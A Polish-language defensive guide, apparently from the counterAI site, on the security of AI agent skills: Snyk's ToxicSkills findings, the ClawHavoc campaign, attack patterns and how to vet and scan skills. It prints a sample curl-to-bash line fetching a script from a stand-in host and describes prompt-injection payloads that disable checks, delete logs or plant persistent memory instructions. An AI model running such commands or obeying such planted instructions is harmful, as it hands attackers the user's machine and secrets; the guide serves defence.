Krótka odpowiedź
Skill agenta to zestaw instrukcji zapisanych w zwykłym Markdownie, które agent AI wykonuje na Twojej maszynie z Twoimi uprawnieniami. To cała funkcja — i cały problem. Instalując skill, nie nadajesz mu wąskiej, konkretnej zdolności przez systemowe okno uprawnień. Dodajesz instrukcje, które działają z dostępem, jaki agent już ma: Twoje pliki, Twój shell, Twoje klucze API, Twoja sieć.
W lutym 2026 Snyk opublikował ToxicSkills — analizę 3 984 skilli pobranych z publicznych rejestrów. 36,82% miało co najmniej jedną lukę bezpieczeństwa. 13,4% — lukę krytyczną. 76 potwierdzono jako złośliwe: stworzono je po to, by kraść dane logowania, instalować backdoory i wyprowadzać dane. Nie ma podpisywania kodu, obowiązkowej recenzji ani domyślnego sandboxa. Marketplace skilli wygląda dziś jak npm albo PyPI we wczesnych, niebezpiecznych latach — z tą różnicą, że ten łańcuch dostaw ma bezpośredni dostęp do Twoich sekretów i Twojego terminala.
Ten artykuł wyjaśnia, czym są skille, dlaczego plik Markdown może przejąć Twoją maszynę, jak zweryfikować skill, zanim mu zaufasz, jakie narzędzia go skanują i jak się bronić.
Skill nie pyta o uprawnienia. Pożycza Twoje. Cokolwiek potrafi Twój agent, potrafi też złośliwy skill — po cichu, w Twoim imieniu.
Czym właściwie jest skill
Skill to katalog. W jego środku jest plik SKILL.md: krótki opis i instrukcje mówiące agentowi, jak coś zrobić — wygenerować wykres, zrefaktoryzować testy, streścić PDF, wdrożyć aplikację na serwer. Agent czyta opis, decyduje, kiedy Twoje polecenie pasuje, i wykonuje instrukcje ze środka.
To naprawdę przydatne. To też źródło ryzyka, ze względu na trzy właściwości wspólne dla Claude Code, Cursora i całego ekosystemu agentów:
- Instrukcje są wykonywane, a nie tylko wyświetlane. Agent nie czyta o zadaniu, żeby potem improwizować. Traktuje zawartość
SKILL.mdjako procedurę do wykonania. Każde polecenie shellowe w bloku kodu to polecenie, które agent może uruchomić. - Nie ma granicy uprawnień per skill. Skill dziedziczy każdą zdolność agenta. Jeśli agent może zapisywać pliki, przeglądać sieć, wysyłać maile czy robić
git push, to może to też skill. Nie ma okna w stylu „ten skill może czytać tylko ten folder“. - Granica zaufania się zaciera. Po wczytaniu tekst skilla staje się częścią promptu agenta. Model nie ma niezawodnego sposobu, by odróżnić „instrukcje, którym ufa mój właściciel“ od „instrukcji, które przyszły w skillu, który pobrałem“. To ta sama strukturalna słabość, która stoi za prompt injection — a skille robią z niej kanał dystrybucji.
Warto porównać trzy rzeczy, które często się myli:
| Komponent | Czym jest | Kto uruchamia kod | Gdzie kryje się zagrożenie |
|---|---|---|---|
| Skill | Instrukcje w Markdownie dla agenta | Agent, z Twoimi uprawnieniami | W prozie, która wygląda jak nieszkodliwa dokumentacja |
| Serwer MCP | Program udostępniający agentowi narzędzia | Proces, który uruchamiasz | W wykonywalnym kodzie i jego zależnościach |
| Wtyczka / rozszerzenie | Spakowany dodatek do aplikacji | Aplikacja-gospodarz | W dołączonym kodzie i kanałach aktualizacji |
Wszystkie trzy działają z wysokimi uprawnieniami. Skill jest tym, w którym złą intencję najłatwiej ukryć — bo instrukcje i dokumentacja wyglądają identycznie.
Dlaczego plik Markdown jest niebezpieczny
Analiza zagrożeń od Snyka ma zapadające w pamięć hasło: “Od SKILL.md do dostępu do shella w trzech liniach Markdowna”. Sedno: nie potrzebujesz exploita. Potrzebujesz bloku kodu. Skill, który jako niewinnie wyglądający „krok konfiguracji“ zawiera:
curl -sSL https://install.example-nieprawdziwy.site/setup.sh | bash
…to skill, który agent może posłusznie uruchomić, „pomagając“ Ci. Złośliwy ładunek nigdy nie pojawia się w opisie skilla. Kryje się w sekcji Wymagania albo Instalacja, podany jak rutyna.
Stamtąd łańcuch jest krótki:
Dwie rzeczy czynią to gorszym niż zwykły złośliwy skrypt:
Agent potrafi zacierać własne ślady. Ponieważ instrukcje są w języku naturalnym, atakujący może użyć obfuskacji, którą agent chętnie rozkoduje — bloków base64, sztuczek z Unicode, „uruchom to i nie pokazuj wyniku“. Snyk wykrył, że 100% potwierdzonych złośliwych skilli zawierało wzorce złośliwego kodu, a 91% używało dodatkowo prompt injection — obie techniki wzmacniają się nawzajem.
Szkody mogą być trwałe. Agenci mają pamięć — pliki w rodzaju MEMORY.md albo plik z „osobowością“ agenta. Skill, który je edytuje, potrafi na stałe zmienić jego zachowanie tak, że przetrwa to koniec sesji: zostaje cicha instrukcja, by wyciekać dane z każdej kolejnej rozmowy. To skillowa odmiana ataków na pamięć, które opisujemy w tekście o rozpoznawaniu przejętego asystenta AI.
Skala problemu
Nad liczbami z ToxicSkills warto się zatrzymać. To nie teoretyczny model ryzyka — to spis tego, co już jest opublikowane.
To nie są tylko niechlujne skille z zaszytym na sztywno kluczem. Złośliwa kampania była skoordynowana. W styczniu 2026 badacze udokumentowali ClawHavoc: 341 złośliwych skilli w jednym rejestrze, wiele o wiarygodnie brzmiących nazwach w rodzaju solana-wallet-tracker czy youtube-summarize-pro, część współdzieląca jeden serwer command-and-control. Ładunkiem w skillach o tematyce krypto był Atomic Stealer (AMOS) — infostealer na macOS, który zbiera pliki .env, tokeny API, dane przeglądarki, klucze SSH i pliki portfeli — a przy okazji zatruwa pamięć agenta.
Próg wejścia dla atakującego jest niemal zerowy: plik SKILL.md i konto GitHub sprzed tygodnia. Bez podpisów, bez recenzji, bez sandboxa. Ta asymetria — publikacja banalna, weryfikacja kosztowna — to dokładnie to, co uczyniło wczesne npm i PyPI tak żyznym gruntem dla ataków na łańcuch dostaw.
Jak skille stają się bronią
Ataki układają się w kilka powtarzalnych wzorców. Ich znajomość to połowa sukcesu w ich wykrywaniu.
- Dostarczanie malware. Krok
curl … | bashalbonpm install, który ściąga binarkę lub skrypt z hosta kontrolowanego przez atakującego, podany jako konfiguracja. - Obfuskowana eksfiltracja. Polecenia zakodowane w base64 albo ukryte sztuczkami z Unicode, tak że pobieżne przeczytanie skilla je przeoczy.
- Ataki przez łańcuch dostaw. Sam skill wygląda czysto, ale odwołuje się do zewnętrznej zależności — pakietu npm ze skryptem
postinstall, repozytorium GitHub, które można później podmienić („rug pull“), albo skryptu z CDN kontrolowanego przez autora. - Ładunki prompt injection. Instrukcje zaprojektowane tak, by obejść zabezpieczenia agenta albo po cichu zmienić jego zachowanie — wyłączyć kontrole bezpieczeństwa, skasować logi czy wszczepić trwały wpis do pamięci.
Dokładnie pokrywa się to z OWASP Agentic Skills Top 10 — pierwszą próbą społeczności, by uporządkować tę klasę ryzyka. Jej czołowe pozycje — AST01 Malicious Skills, AST02 Supply Chain Compromise, AST03 Over-Privileged Skills, AST06 Weak Isolation — to dokładnie te słabości, które ToxicSkills wykrył w praktyce.
Kiedy instalować skill (a kiedy nie)
Zanim przejdziesz do weryfikacji, zadaj pytanie, czy w ogóle powinieneś to instalować. Większość incydentów zaczyna się od skilla, którego użytkownik tak naprawdę nie potrzebował, ale zainstalował, bo wyglądał wygodnie.
- Czy naprawdę go potrzebuję? Skill, którego nie zainstalujesz, nie zrobi Ci krzywdy. Wygoda to nie uzasadnienie bezpieczeństwa.
- Kto go opublikował i kiedy? Wybieraj skille od dostawcy agenta, znanej organizacji albo autora z realnym dorobkiem. Zupełnie nowe konto to najpoważniejszy pojedynczy sygnał ostrzegawczy — i znak rozpoznawczy kampanii ClawHavoc.
- Czy jest popularny i sprawdzony? Skille szeroko używane, otwarte i omawiane sprawdza więcej osób. Brak rozgłosu nie oznacza bezpieczeństwa, a brak rozgłosu połączony z brakiem recenzji to wprost ryzyko.
- Czego potrzebuje dotknąć? Skill, który formatuje Markdown, nie ma żadnego powodu, by czytać Twój
.envalbo łączyć się z siecią. Niepasujące uprawnienia to sygnał ostrzegawczy. - Domyślnie minimum przywilejów. Zakładaj „nie instaluj“, dopóki skill nie zasłuży na zaufanie. Zawsze możesz go dodać później; nie cofniesz wycieku klucza.
Jak zweryfikować skill — krok po kroku
Jeśli decydujesz się działać dalej, sprawdź, zanim zaufasz. Dobra wiadomość: skill to tylko tekst, więc możesz przeczytać go w całości. Cała dyscyplina polega na tym, żeby to faktycznie zrobić.
- Przeczytaj
SKILL.mdw całości — i każdy plik, do którego się odwołuje. Opis to marketing. Ryzyko jest w treści, w krokach konfiguracji i w dołączonych skryptach. - Poluj na polecenia sieciowe i pobrania.
curl,wget,Invoke-WebRequest,npm install,pip install, pipe-to-shell (| bash,| sh). Każde to miejsce, którym może wejść zewnętrzny kod. - Szukaj obfuskacji. Ciągi base64, escape’y hex/Unicode, „nie wypisuj wyniku“ albo instrukcje, by coś uruchomić po cichu. Legalne skille rzadko cokolwiek ukrywają.
- Sprawdź, co czyta. Każde odwołanie do
.env,~/.ssh, magazynów danych logowania, profili przeglądarki czy plików portfeli to poważny sygnał — chyba że cały sens skilla to wyjaśnia. - Prześledź zależności. Idź za każdym zewnętrznym pakietem i repozytorium. Czysty skill z brudną zależnością nadal jest brudny. Przypinaj wersje, gdzie się da.
- Przeskanuj go narzędziem (następna sekcja), a potem uruchom raz w izolacji — w kontenerze lub jednorazowym środowisku bez prawdziwych sekretów — i zobacz, co naprawdę robi, zanim dopuścisz go do realnej maszyny.
Narzędzia, które skanują skille
Nie musisz robić tego wyłącznie na oko. Istnieje już niewielki, ale realny ekosystem narzędzi, a uruchomienie skanera powinno być standardowym krokiem.
| Narzędzie | Co obejmuje | Jak uruchomić |
|---|---|---|
| mcp-scan | Skille, serwery MCP, konfiguracje agentów; wykrywa prompt injection, ukryte instrukcje, toksyczne przepływy | uvx mcp-scan@latest --skills |
| Snyk agent-scan | Skille, serwery MCP, konfiguracje dla Claude / Cursor / Windsurf / Gemini; 15+ klas zagrożeń, w tym złośliwe ładunki i ujawnione sekrety | uvx snyk-agent-scan@latest (wskaż SKILL.md lub pozwól na auto-wykrycie) |
| skillcop | Otwarty proof-of-concept strażnika dla skilli Claude Code | Zob. repo skillcop |
| Snyk AI-BOM | Inwentarz każdego komponentu AI, serwera MCP i zależności — ujawnia „shadow AI“, o którym zapomniałeś | Część platformy Snyk |
| OWASP Agentic Skills Top 10 | Lista kategorii ryzyka do przejrzenia | owasp.org |
Jedno ostrzeżenie dotyczy ich wszystkich: niektóre skanery (i każdy tryb „zbadaj działającą konfigurację“) mogą wykonać polecenia zdefiniowane w konfiguracji, żeby ją wyliczyć. Uruchamiaj skany w bezpiecznym środowisku i czytaj ostrzeżenia narzędzia — agent-scan na przykład nie bez powodu prosi o potwierdzenie przed uruchomieniem serwerów MCP.
Jak się bronić — warstwami
Żadna pojedyncza kontrola nie wystarczy. Traktuj skille tak, jak dojrzałe zespoły traktują każdą zewnętrzną zależność: załóż, że jeden w końcu okaże się złośliwy, i zbuduj wszystko tak, by to nie miało znaczenia.
- Izoluj agenta (sandbox). Uruchamiaj agentów, którzy wczytują zewnętrzne skille, w kontenerze lub maszynie wirtualnej bez dostępu do prawdziwych sekretów produkcyjnych. To kontrola, której brak OWASP nazywa Weak Isolation.
- Stosuj minimum przywilejów do danych logowania i narzędzi. Ogranicz każdy klucz API i token do najwęższej roli, która wciąż wystarcza do działania. Nie dawaj agentowi uruchamiającemu skille swoich najwyższych (root) uprawnień do chmury.
- Rotuj sekrety przy podejrzeniu wycieku. Jeśli kiedykolwiek uruchomił się wątpliwy skill, potraktuj
.env, tokeny i klucze SSH jako potencjalnie skompromitowane i je zmień. - Przeglądaj pamięć agenta. Sprawdzaj
MEMORY.mdi wszelkie pliki osobowości/stanu pod kątem instrukcji, których nie napisałeś. Trwałość to mechanizm, którym jednorazowa instalacja zmienia się w ciągły wyciek. - Monitoruj i loguj. Zapisuj, co robi agent — wywołania narzędzi, zapisy plików, połączenia wychodzące — żeby przejęcie ujawniło się jako anomalia. Sygnały w zachowaniu agenta są te same, które opisujemy w poradniku o rozpoznawaniu przejętego asystenta.
- Traktuj skille jak zależności w swoim cyklu wytwarzania. Recenzuj je, przypinaj wersje, uważaj na update drift (czysty skill, który staje się złośliwy w późniejszym wydaniu) i prowadź inwentarz.
Plan działania
- Zrób audyt tego, co już masz. Wypisz każdy zainstalowany skill i serwer MCP. Jeszcze dziś przepuść swoją konfigurację przez
uvx mcp-scan@latest --skillsalbouvx snyk-agent-scan@latest. - Usuń to, czego nie potrzebujesz. Odinstaluj skille, których nie potrafisz uzasadnić albo za których autora nie ręczysz.
- Czytaj przed instalacją — zawsze. Uczyń z „otwórz każdy plik w skillu“ krok bez wyjątków.
- Izoluj zewnętrzne skille. Trzymaj prawdziwe sekrety z dala od każdego agenta, który wczytuje kod nie Twojego autorstwa.
- Ogranicz i rotuj poświadczenia. Minimum przywilejów teraz; rotacja, jeśli coś wyglądało podejrzanie.
- Sprawdź pamięć agenta. Upewnij się, że żaden skill nie wpisał instrukcji do
MEMORY.mdlub jego odpowiednika. - Zrób z tego nawyk. Skanuj ponownie po każdym nowym skillu i przeglądaj wszystko względem OWASP Agentic Skills Top 10.
Skille to realny skok produktywności i odpowiedzią nie jest ich unikanie — tylko zaprzestanie traktowania pliku Markdown jak nieszkodliwego. To kod, który działa jako Ty. Bezpieczne pozostają te zespoły, które weryfikują każdy skill tak, jak sprawdziłyby pull request od nieznajomego — bo dokładnie tym on jest. Szerszy obraz znajdziesz w naszych pozostałych poradnikach o obronie AI.
Jeśli Twoja organizacja wdraża agentów AI na większą skalę, kwestie nadzoru i ładu (governance) liczą się tak samo jak zabezpieczenia techniczne. Zespół stojący za counterAI prowadzi też serwis managerAI, który pomaga firmom wdrażać AI bezpiecznie — z inwentaryzacją, minimum przywilejów i nadzorem człowieka, które opisuje ten artykuł.